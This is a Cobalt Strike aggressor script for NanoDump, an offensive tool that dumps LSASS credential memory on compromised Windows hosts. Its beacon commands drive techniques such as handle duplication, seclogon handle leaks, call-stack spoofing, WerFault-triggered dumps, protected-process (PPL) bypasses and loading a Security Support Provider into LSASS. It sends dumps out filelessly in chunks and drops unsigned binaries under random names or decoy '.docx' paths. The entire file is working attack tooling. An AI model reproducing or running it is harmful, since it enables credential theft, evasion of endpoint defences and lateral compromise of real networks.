NanoDump.cna

sub generate_rand_string {
local('@dictionary $string $min_length $max_length $length');
    @dictionary = @("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $min_length = $1;
    $max_length = $2;
    $length =  $min_length + rand($max_length - $min_length);
    $string = "";
    while ($length != 0)
    {
        $string = $string . rand(@dictionary);
        $length--;
    }
    return $string;
}

sub is_full_path {
local('$string $c');
    $string = lc($1);
    $c = byteAt($string, 0);
    # 97 -> a, 122 -> z
    if ($c < 97 || $c > 122)
    {
        return false;
    }
    $c = byteAt($string, 1);
    # 58 -> :
    if ($c != 58)
    {
        return false;
    }
    $c = byteAt($string, 2);
    # 92 -> \
    if ($c != 92)
    {
        return false;
    }
    return true;
}

beacon_command_register(
"nanodump",
"Use syscalls to dump LSASS.",
"usage: nanodump [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]\
Dumpfile options:\
    --write DUMP_PATH, -w DUMP_PATH\
            filename of the dump\
    --valid, -v\
            create a dump with a valid signature\
Obtain an LSASS handle via:\
    --duplicate, -d\
            duplicate a high privileged existing LSASS handle\
    --duplicate-elevate, -de\
            duplicate a low privileged existing LSASS handle and then elevate it\
    --seclogon-leak-local, -sll\
            leak an LSASS handle into nanodump via seclogon\
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH\
            leak an LSASS handle into another process via seclogon and duplicate it\
    --seclogon-duplicate, -sd\
            make seclogon open a handle to LSASS and duplicate it\
    --spoof-callstack, -sc\
            open a handle to LSASS using a fake calling stack\
Let WerFault.exe (instead of nanodump) create the dump\
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER\
            force WerFault.exe to dump LSASS via SilentProcessExit\
    --shtinkering, -sk\
            force WerFault.exe to dump LSASS via Shtinkering\
Avoid reading LSASS directly:\
    --fork, -f\
            fork the target process before dumping\
    --snapshot, -s\
            snapshot the target process before dumping\
Avoid opening a handle with high privileges:\
    --elevate-handle, -eh\
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges\
Miscellaneous:\
    --getpid\
            print the PID of LSASS and leave\
    --chunk-size\
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)\
Help:\
    --help, -h\
            print this help message and leave");
alias nanodump {
    local('$barch $handle $bof $exe $args $pid $cname $dump_path $write_file $use_valid_sig $fork $snapshot $dup $i $get_pid $use_seclogon_leak_local $use_seclogon_leak_remote $folder $nanodump_binary $silent_process_exit $use_silent_process_exit $use_seclogon_duplicate $spoof_callstack $use_lsass_shtinkering $user $elevate_handle');

    $barch = barch($1);
    if($barch eq "x86")
    {
        berror($1, "Nanodump does not support x86");
        return;
    }

    # reading lsass requires elevated privileges
    if(!-isadmin $1)
    {
        berror($1, "You need to be admin to run nanodump.");
        return;
    }

    # read in the BOF file
    $handle = openf(script_resource("dist/nanodump." . $barch . ".o"));
    $bof = readb($handle, -1);
    closef($handle);
    if(strlen($bof) == 0)
    {
        berror($1, "could not read bof file");
        return;
    }

    # by default, don't use werfault
    $silent_process_exit = "";
    $use_silent_process_exit = 0;
    # by default, don't set any decoy binary
    $seclogon_leak_remote_binary = "";
    # by default, do not use MalSecLogon leak
    $use_seclogon_leak_local = 0;
    $use_seclogon_leak_remote = 0;
    # by default, do not use the MalSecLogon race condition
    $use_seclogon_duplicate = 0;
    # by default, do not get the PID of LSASS
    $get_pid = 0;
    # by default, nanodump will find the PID of LSASS dinamically
    $pid = 0;
    # name of the dump when downloaded fileless
    $cname = beacon_info($1, "computer");
    $time = int(ticks() / 1000);
    $dump_path = $cname . "_" . $time . "_lsass.dmp";
    # by default, download the minidump fileless
    $write_file = 0;
    # by default, do not fork the target process
    $fork = 0;
    # by default, do not snapshot the target process
    $snapshot = 0;
    # by default, do not duplicate an LSASS handle
    $dup = 0;
    # by default, the signature of the minidump is invalid
    $use_valid_sig = 0;
    # by default, do not spoof the stack
    $spoof_callstack = 0;
    # by default, do not use shtinkering
    $use_lsass_shtinkering = 0;
    # by default, dont use handle elevation
    $elevate_handle = 0;
    # by default, dont use handle duplication and elevation
    $duplicate_elevate = 0;
    # by default, the chunk size is 900 KiB
    $chunk_size = 0xe1000;
    for ($i = 1; $i < size(@_); $i++)
    {
        if (@_[$i] eq "--getpid")
        {
            # get the PID of LSASS and leave
            $get_pid = 1;
        }
        else if (@_[$i] eq "--valid" || @_[$i] eq "-v")
        {
            # use a valid signature for the minidump
            $use_valid_sig = 1;
        }
        else if (@_[$i] eq "--write" || @_[$i] eq "-w")
        {
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --write value");
                return;
            }
            # set the path where the minidump will be written to disk
            $write_file = 1;
            $dump_path = @_[$i];
        }
        else if (@_[$i] eq "--pid" || @_[$i] eq "-p")
        {
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --pid value");
                return;
            }
            # set the PID of LSASS
            $pid = @_[$i];
            if(!-isnumber $pid || $pid eq "0")
            {
                berror($1, "Invalid PID: " . $pid);
                return;
            }
        }
        else if (@_[$i] eq "--fork" || @_[$i] eq "-f")
        {
            # set arg to true for process forking
            $fork = 1;
        }
        else if (@_[$i] eq "--snapshot" || @_[$i] eq "-s")
        {
            # set arg to true for process snapshot
            $snapshot = 1;
        }
        else if (@_[$i] eq "--duplicate" || @_[$i] eq "-d")
        {
            # set arg to true for handle duplication
            $dup = 1;
        }
        else if (@_[$i] eq "--elevate-handle" || @_[$i] eq "-eh")
        {
            # set arg to true for elevate handle
            $elevate_handle = 1;
        }
        else if (@_[$i] eq "--duplicate-elevate" || @_[$i] eq "-de")
        {
            # set arg to true for duplicate_elevate handle
            $duplicate_elevate = 1;
        }
        else if (@_[$i] eq "--seclogon-leak-local" || @_[$i] eq "-sll")
        {
            # use MalSecLogon leak local
            $use_seclogon_leak_local = 1;
        }
        else if (@_[$i] eq "--seclogon-leak-remote" || @_[$i] eq "-slr")
        {
            # use MalSecLogon leak remote
            $use_seclogon_leak_remote = 1;
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --seclogon-leak-remote value");
                return;
            }
            # decoy binary path
            $seclogon_leak_remote_binary = @_[$i];
            if(!is_full_path($seclogon_leak_remote_binary))
            {
                berror($1, "You must provide a full path: " . $seclogon_leak_remote_binary);
                return;
            }
        }
        else if (@_[$i] eq "--silent-process-exit" || @_[$i] eq "-spe")
        {
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --silent-process-exit value");
                return;
            }
            $use_silent_process_exit = 1;
            $silent_process_exit = @_[$i];
        }
        else if (@_[$i] eq "--shtinkering" || @_[$i] eq "-sk")
        {
            $user = beacon_info($1, "user");
            if ($user ne "SYSTEM *")
            {
                berror($1, "You must be SYSTEM to run the Shtinkering technique");
                return;
            }
            $use_lsass_shtinkering = 1;
        }
        else if (@_[$i] eq "--seclogon-duplicate" || @_[$i] eq "-sd")
        {
            # use the seclogon race condition to dup an LSASS handle
            $use_seclogon_duplicate = 1;
        }
        else if (@_[$i] eq "--spoof-callstack" || @_[$i] eq "-sc")
        {
            $spoof_callstack = 1;
        }
        else if (@_[$i] eq "--chunk-size")
        {
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --chunk-size value");
                return;
            }
            # set the size of the chunk
            $chunk_size = @_[$i];
            if(!-isnumber $chunk_size || $chunk_size eq "0")
            {
                berror($1, "Invalid chunk size: " . $chunk_size);
                return;
            }
            # from KiB to bytes
            $chunk_size = int($chunk_size) * 1024;
        }
        else if (@_[$i] eq "--help" || @_[$i] eq "-h")
        {
            berror($1, beacon_command_detail("nanodump"));
            return;
        }
        else
        {
            berror($1, "invalid argument: " . @_[$i]);
            return;
        }
    }

    if ($get_pid &&
        ($write_file || $use_valid_sig || $snapshot || $fork || $elevate_handle || $duplicate_elevate ||
         $use_seclogon_duplicate || $spoof_callstack || $use_seclogon_leak_local ||
         $use_seclogon_leak_remote || $dup || $use_silent_process_exit || $use_lsass_shtinkering))
    {
        berror($1, "The parameter --getpid is used alone");
        return;
    }

    if ($use_silent_process_exit &&
        ($write_file || $use_valid_sig || $snapshot || $fork || $elevate_handle || $duplicate_elevate ||
         $use_seclogon_duplicate || $spoof_callstack || $use_seclogon_leak_local ||
         $use_seclogon_leak_remote || $dup || $use_lsass_shtinkering))
    {
        berror($1, "The parameter --silent-process-exit is used alone");
        return;
    }
    if($fork && $snapshot)
    {
        berror($1, "The options --fork and --snapshot cannot be used together");
        return;
    }

    if($dup && $elevate_handle)
    {
        berror($1, "The options --duplicate and --elevate-handle cannot be used together");
        return;
    }

    if($duplicate_elevate && $spoof_callstack)
    {
        berror($1, "The options --duplicate-elevate and --spoof-callstack cannot be used together");
        return;
    }

    if($dup && $spoof_callstack)
    {
        berror($1, "The options --duplicate and --spoof-callstack cannot be used together");
        return;
    }

    if($dup && $use_seclogon_duplicate)
    {
        berror($1, "The options --duplicate and --seclogon-duplicate cannot be used together");
        return;
    }

    if($elevate_handle && $duplicate_elevate)
    {
        berror($1, "The options --elevate-handle and --duplicate-elevate cannot be used together");
        return;
    }

    if($duplicate_elevate && $dup)
    {
        berror($1, "The options --duplicate-elevate and --duplicate cannot be used together");
        return;
    }

    if($duplicate_elevate && $use_seclogon_duplicate)
    {
        berror($1, "The options --duplicate-elevate and --seclogon-duplicate cannot be used together");
        return;
    }

    if($elevate_handle && $use_seclogon_duplicate)
    {
        berror($1, "The options --elevate-handle and --seclogon-duplicate cannot be used together");
        return;
    }

    if($dup && $use_seclogon_leak_local)
    {
        berror($1, "The options --duplicate and --seclogon-leak-local cannot be used together");
        return;
    }

    if($duplicate_elevate && $use_seclogon_leak_local)
    {
        berror($1, "The options --duplicate-elevate and --seclogon-leak-local cannot be used together");
        return;
    }

    if($elevate_handle && $use_seclogon_leak_local)
    {
        berror($1, "The options --elevate-handle and --seclogon-leak-local cannot be used together");
        return;
    }

    if($dup && $use_seclogon_leak_remote)
    {
        berror($1, "The options --duplicate and --seclogon-leak-remote cannot be used together");
        return;
    }

    if($duplicate_elevate && $use_seclogon_leak_remote)
    {
        berror($1, "The options --duplicate-elevate and --seclogon-leak-remote cannot be used together");
        return;
    }

    if($elevate_handle && $use_seclogon_leak_remote)
    {
        berror($1, "The options --elevate-handle and --seclogon-leak-remote cannot be used together");
        return;
    }

    if($use_seclogon_leak_local && $use_seclogon_leak_remote)
    {
        berror($1, "The options --seclogon-leak-local and --seclogon-leak-remote cannot be used together");
        return;
    }

    if($use_seclogon_leak_local && $use_seclogon_duplicate)
    {
        berror($1, "The options --seclogon-leak-local and --seclogon-duplicate cannot be used together");
        return;
    }

    if($use_seclogon_leak_local && $spoof_callstack)
    {
        berror($1, "The options --seclogon-leak-local and --spoof-callstack cannot be used together");
        return;
    }

    if($use_seclogon_leak_remote && $use_seclogon_duplicate)
    {
        berror($1, "The options --seclogon-leak-remote and --seclogon-duplicate cannot be used together");
        return;
    }

    if($use_seclogon_leak_remote && $spoof_callstack)
    {
        berror($1, "The options --seclogon-leak-remote and --spoof-callstack cannot be used together");
        return;
    }

    if($use_seclogon_duplicate && $spoof_callstack)
    {
        berror($1, "The options --seclogon-duplicate and --spoof-callstack cannot be used together");
        return;
    }

    if(!$use_lsass_shtinkering && $use_seclogon_leak_local && !$write_file)
    {
        berror($1, "If --seclogon-leak-local is being used, you need to provide the dump path with --write");
        return;
    }

    if(!$use_lsass_shtinkering && $use_seclogon_leak_local && !is_full_path($dump_path))
    {
        berror($1, "If --seclogon-leak-local is being used, you need to provide the full path: ". $dump_path);
        return;
    }

    if ($use_lsass_shtinkering && $fork)
    {
        berror($1, "The options --shtinkering and --fork cannot be used together");
        return;
    }

    if ($use_lsass_shtinkering && $snapshot)
    {
        berror($1, "The options --shtinkering and --snapshot cannot be used together");
        return;
    }

    if ($use_lsass_shtinkering && $use_valid_sig)
    {
        berror($1, "The options --shtinkering and --valid cannot be used together");
        return;
    }

    if ($use_lsass_shtinkering && $write_file)
    {
        berror($1, "The options --shtinkering and --write cannot be used together");
        return;
    }

    if($use_seclogon_leak_local)
    {
        $folder = "C:\\Windows\\Temp";
        $seclogon_leak_remote_binary = $folder . "\\" .  generate_rand_string(5, 10) . ".exe";
        blog($1, "[!] An unsigned nanodump binary will be uploaded to: ". $seclogon_leak_remote_binary);
        # read in the EXE file
        $handle = openf(script_resource("dist/nanodump." . $barch . ".exe"));
        $exe = readb($handle, -1);
        closef($handle);
        if(strlen($exe) == 0)
        {
            berror($1, "could not read exe file");
            return;
        }
        # upload the nanodump binary
        bupload_raw($1, $seclogon_leak_remote_binary, $exe);
    }

    # pack the arguments
    $args = bof_pack($1, "iziiiiiiiiiiiziiizi", $pid, $dump_path, $write_file, $chunk_size, $use_valid_sig, $fork, $snapshot, $dup, $elevate_handle, $duplicate_elevate, $get_pid, $use_seclogon_leak_local, $use_seclogon_leak_remote, $seclogon_leak_remote_binary, $use_seclogon_duplicate, $spoof_callstack, $use_silent_process_exit, $silent_process_exit, $use_lsass_shtinkering);

    # run
    btask($1, "Running NanoDump BOF");
    beacon_inline_execute($1, $bof, "go", $args);
}

beacon_command_register(
"nanodump_ppl_dump",
"Bypass PPL and dump LSASS.",
"usage: nanodump_ppl_dump --write C:\\Windows\\Temp\\doc.docx [--valid] [--duplicate] [--help]\
Dumpfile options:\
    --write DUMP_PATH, -w DUMP_PATH\
            filename of the dump\
    --valid, -v\
            create a dump with a valid signature\
Obtain an LSASS handle via:\
    --duplicate, -d\
            duplicate an existing LSASS handle\
Help:\
    --help, -h\
            print this help message and leave");
alias nanodump_ppl_dump {
    local('$barch $handle $bof $exe $args $dump_path $write_file $use_valid_sig $fork $snapshot $dup $i $dll');

    $barch = barch($1);
    if($barch eq "x86")
    {
        berror($1, "Nanodump does not support x86");
        return;
    }

    # reading lsass requires elevated privileges
    if(!-isadmin $1)
    {
        berror($1, "You need to be admin to run nanodump.");
        return;
    }

    # read in the BOF file
    $handle = openf(script_resource("dist/nanodump_ppl_dump." . $barch . ".o"));
    $bof = readb($handle, -1);
    closef($handle);
    if(strlen($bof) == 0)
    {
        berror($1, "could not read bof file");
        return;
    }

    # read in the DLL file
    $handle = openf(script_resource("dist/nanodump_ppl_dump." . $barch . ".dll"));
    $dll = readb($handle, -1);
    closef($handle);
    if(strlen($dll) == 0)
    {
        berror($1, "could not read dll file");
        return;
    }

    $dump_path = "";
    # by default, download the minidump fileless
    $write_file = 0;
    # by default, do not duplicate an LSASS handle
    $dup = 0;
    # by default, the signature of the minidump is invalid
    $use_valid_sig = 0;
    for ($i = 1; $i < size(@_); $i++)
    {
        if (@_[$i] eq "--write" || @_[$i] eq "-w")
        {
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --write value");
                return;
            }
            # set the path where the minidump will be written to disk
            $write_file = 1;
            $dump_path = @_[$i];
        }
        else if (@_[$i] eq "--duplicate" || @_[$i] eq "-d")
        {
            # set arg to true for handle duplication
            $dup = 1;
        }
        else if (@_[$i] eq "--valid" || @_[$i] eq "-v")
        {
            # use a valid signature for the minidump
            $use_valid_sig = 1;
        }
        else if (@_[$i] eq "--help" || @_[$i] eq "-h")
        {
            berror($1, beacon_command_detail("nanodump_ppl_dump"));
            return;
        }
        else
        {
            berror($1, "invalid argument: " . @_[$i]);
            return;
        }
    }

    if ($write_file == 0)
    {
        berror($1, "The --write parameter must be specified");
        return;
    }

    if(!is_full_path($dump_path))
    {
        berror($1, "You need to provide the full path: ". $dump_path);
        return;
    }

    # pack the arguments
    $args = bof_pack($1, "ziib", $dump_path, $use_valid_sig, $dup, $dll);

    # run
    btask($1, "Running NanoDumpPPLDump BOF");
    beacon_inline_execute($1, $bof, "go", $args);
}

beacon_command_register(
"nanodump_ppl_medic",
"Bypass PPL and dump LSASS.",
"usage: nanodump_ppl_medic --write C:\\Windows\\Temp\\doc.docx [--valid] [--elevate-handle] [--help]\
Dumpfile options:\
    --write DUMP_PATH, -w DUMP_PATH\
            filename of the dump\
    --valid, -v\
            create a dump with a valid signature\
Avoid opening a handle with high privileges:\
    --elevate-handle, -eh\
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges\
Help:\
    --help, -h\
            print this help message and leave");
alias nanodump_ppl_medic {
    local('$barch $handle $bof $exe $args $dump_path $write_file $use_valid_sig $fork $snapshot $elevate_handle $i $dll');

    $barch = barch($1);
    if($barch eq "x86")
    {
        berror($1, "Nanodump does not support x86");
        return;
    }

    # reading lsass requires elevated privileges
    if(!-isadmin $1)
    {
        berror($1, "You need to be admin to run nanodump.");
        return;
    }

    # read in the BOF file
    $handle = openf(script_resource("dist/nanodump_ppl_medic." . $barch . ".o"));
    $bof = readb($handle, -1);
    closef($handle);
    if(strlen($bof) == 0)
    {
        berror($1, "could not read bof file");
        return;
    }

    # read in the DLL file
    $handle = openf(script_resource("dist/nanodump_ppl_medic." . $barch . ".dll"));
    $dll = readb($handle, -1);
    closef($handle);
    if(strlen($dll) == 0)
    {
        berror($1, "could not read dll file");
        return;
    }

    $dump_path = "";
    # by default, download the minidump fileless
    $write_file = 0;
    # by default, do not elevate an LSASS handle
    $elevate_handle = 0;
    # by default, the signature of the minidump is invalid
    $use_valid_sig = 0;
    for ($i = 1; $i < size(@_); $i++)
    {
        if (@_[$i] eq "--write" || @_[$i] eq "-w")
        {
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --write value");
                return;
            }
            # set the path where the minidump will be written to disk
            $write_file = 1;
            $dump_path = @_[$i];
        }
        else if (@_[$i] eq "--elevate-handle" || @_[$i] eq "-eh")
        {
            # set arg to true for handle duplication
            $elevate_handle = 1;
        }
        else if (@_[$i] eq "--valid" || @_[$i] eq "-v")
        {
            # use a valid signature for the minidump
            $use_valid_sig = 1;
        }
        else if (@_[$i] eq "--help" || @_[$i] eq "-h")
        {
            berror($1, beacon_command_detail("nanodump_ppl_medic"));
            return;
        }
        else
        {
            berror($1, "invalid argument: " . @_[$i]);
            return;
        }
    }

    if ($write_file == 0)
    {
        berror($1, "The --write parameter must be specified");
        return;
    }

    if(!is_full_path($dump_path))
    {
        berror($1, "You need to provide the full path: ". $dump_path);
        return;
    }

    # pack the arguments
    $args = bof_pack($1, "bzii", $dll, $dump_path, $use_valid_sig, $elevate_handle);

    # run
    btask($1, "Running NanoDumpPPLMedic BOF");
    beacon_inline_execute($1, $bof, "go", $args);
}

beacon_command_register(
"nanodump_ssp",
"Load a Security Support Provider (SSP) into LSASS.",
"usage: nanodump_ssp --write C:\\Windows\\Temp\\doc.docx [--valid] [--write-dll C:\\Windows\\Temp\\ssp.dll] [--load-dll C:\\Windows\\Temp\\ssp.dll] [--help]\
Dumpfile options:\
    --write DUMP_PATH, -w DUMP_PATH\
            filename of the dump\
    --valid, -v\
            create a dump with a valid signature\
SSP DLL options:\
    --write-dll, -wdll\
            path where to write the SSP DLL from nanodump (randomly generated if not defined)\
    --load-dll, -ldll\
            load an existing SSP DLL\
Help:\
    --help, -h\
            print this help message and leave");
alias nanodump_ssp {
    local('$barch $handle $bof $exe $args $write_dll_path $load_dll_path $dll');

    $barch = barch($1);
    if($barch eq "x86")
    {
        berror($1, "Nanodump does not support x86");
        return;
    }

    # loading an SSP requires elevated privileges
    if(!-isadmin $1)
    {
        berror($1, "You need to be admin to load an SSP.");
        return;
    }

    # read in the BOF file
    $handle = openf(script_resource("dist/nanodump_ssp." . $barch . ".o"));
    $bof = readb($handle, -1);
    closef($handle);
    if(strlen($bof) == 0)
    {
        berror($1, "could not read bof file");
        return;
    }

    $dump_path = "";
    # by default, download the minidump fileless
    $write_file = 0;
    # by default, the signature of the minidump is invalid
    $use_valid_sig = 0;
    $write_dll_path = "";
    $load_dll_path = "";
    $dll = "";
    for ($i = 1; $i < size(@_); $i++)
    {
        if (@_[$i] eq "--write" || @_[$i] eq "-w")
        {
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --write value");
                return;
            }
            # set the path where the minidump will be written to disk
            $write_file = 1;
            $dump_path = @_[$i];
        }
        else if (@_[$i] eq "--valid" || @_[$i] eq "-v")
        {
            # use a valid signature for the minidump
            $use_valid_sig = 1;
        }
        else if (@_[$i] eq "--write-dll" || @_[$i] eq "-wdll")
        {
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --write-dll value");
                return;
            }
            $write_dll_path = @_[$i];
        }
        else if (@_[$i] eq "--load-dll" || @_[$i] eq "-ldll")
        {
            $i++;
            if($i >= size(@_))
            {
                berror($1, "missing --load-dll value");
                return;
            }
            $load_dll_path = @_[$i];
        }
        else if (@_[$i] eq "--help" || @_[$i] eq "-h")
        {
            berror($1, beacon_command_detail("nanodump_ppl_medic"));
            return;
        }
        else
        {
            berror($1, "invalid argument: " . @_[$i]);
            return;
        }
    }

    if ($write_file == 0)
    {
        berror($1, "The --write parameter must be specified");
        return;
    }

    if(!is_full_path($dump_path))
    {
        berror($1, "You need to provide the full path: ". $dump_path);
        return;
    }

    if ($load_path != "" && $write_dll_path != "")
    {
        berror($1, "The options --write-dll and --load-dll cannot be used together");
        return;
    }

    if ($load_path != "" &&!is_full_path($load_path))
    {
        berror($1, "You need to provide the full path: ". $load_path);
        return;
    }

    if ($load_path == "")
    {
        blog($1, "[!] Writing an unsigned DLL to disk");

        # read in the DLL file
        $handle = openf(script_resource("dist/nanodump_ssp." . $barch . ".dll"));
        $dll = readb($handle, -1);
        closef($handle);
        if(strlen($dll) == 0)
        {
            berror($1, "could not read dll file");
            return;
        }
    }

    # pack the arguments
    $args = bof_pack($1, "bzzzi", $dll, $write_dll_path, $load_path, $dump_path, $use_valid_sig);

    # run
    btask($1, "Running nanodump_ssp BOF");
    beacon_inline_execute($1, $bof, "go", $args);
}

beacon_command_register(
"delete_file",
"Delete a file.",
"Usage: delete_file <file path>");
alias delete_file {
    local('$barch $handle $bof $args');

    $barch = barch($1);

    # make sure the beacon is not WoW64
    $is64 = binfo($1, "is64");
    if($barch eq "x86" && $is64 == 1)
    {
        berror($1, "delete_file does not support WoW64, use: rm");
        return;
    }

    # read in the BOF file
    $handle = openf(script_resource("dist/delete_file." . $barch . ".o"));
    $bof = readb($handle, -1);
    closef($handle);
    if(strlen($bof) == 0)
    {
        berror($1, "could not read bof file");
        return;
    }

    if (size(@_) != 2)
    {
        berror($1, beacon_command_detail("delete_file"));
        return;
    }

    # pack the arguments
    $args = bof_pack($1, "z", $2);

    # run
    btask($1, "Running delete_file BOF");
    beacon_inline_execute($1, $bof, "go", $args);
}